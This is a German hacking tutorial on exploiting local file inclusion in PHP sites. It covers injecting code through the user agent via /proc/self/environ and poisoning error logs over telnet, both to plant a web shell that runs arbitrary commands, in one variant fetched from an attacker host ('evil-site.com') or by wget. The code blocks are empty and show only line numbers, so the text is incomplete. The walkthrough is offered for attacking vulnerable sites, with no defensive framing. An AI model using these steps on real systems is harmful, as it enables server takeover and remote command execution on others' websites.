Mit einer reinen LFI Lücke kann man nicht immer etwas anfangen.
Hier ein paar Anregungen, was man doch alles rausholen kann
Hier sind 2 Möglichkeiten, wie man eine LFI-Lücke ausnutzen kann:
Was wir brauchen:
– eine verwundbare Seite
- Code per UserAgent einschleusen:
Um Code über den UserAgent einzuschleusen, müssen wir diesen ersteinmal auf der Seite ausgeben. Das geht folgendermaßen:
Wir versuchen die Datei /proc/self/environ zu includen. Also
1
|
|
Wenn wir eine ähnliche Ausgabe wie diese erhalten, ist diese Technik möglich.
1
|
|
Jetzt brauchen wir ein Firefox Plugin Namens Tamper Data, das es uns ermöglicht, einen manupulierten UserAgent zu übergeben.
Wir starten Tamper Data (Extras –> Tamper Data) und klicken links oben auf “Start Tamper”. Jetzt müssen wir die Seite mit includeter /proc/self/environ neuladen. Tamper Data frägt gleich was wir machen wollen. Wir klicken auf “Tamper” und können in der zweiten Zeile den UserAgent bearbeiten. Es gibt jetzt mehrere Möglichkeiten, eine PHP-Shell zu spawnen:
a)
1
|
|
In die Datei shell.php wird der Code
1
|
|
geschrieben. Dadurch haben wir die einfachste Shell überhaupt und können mit dem Aufruf http://site.com/shell.php?cmd=[command] beliebige Befehle ausführen (z.B. http://site.com/shell.php?cmd=ls).
b)
1 2 |
|
Hier wird die Textdatei shell.txt auf http://evil-site.com eingelesen und in die Datei shell.php geschrieben. Dadurch lassen sich auch komplexere Shells (c99, c100, …) spawnen.
c)
1
|
|
oder
1
|
|
Ähnliches Prinzip wie bei b), nur dass man versucht die Shell per wget auf den Server zu laden.
- Code per Error Log einschleusen:
Hier wird versucht, PHP Code in die Logs zu schreiben, und die Log Datei dannach einzubinden.
Mögliche Pfade zu den Log Files:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
|
Wenn man die Datei eingebunden hat, verbindet man sich per Telnet auf den Server
telnet site.com 80
und schickt den Befehl
GET/[PHP Code um Shell zu spawnen]
an den Server. Da dieser mit dem Befehl nichts anfangen kann, wird er in die error.log geschrieben und bei erneutem aufrufen der Logdatei ausgeführt.
Et voilà: Wir haben unsere Shell wieder auf dem Server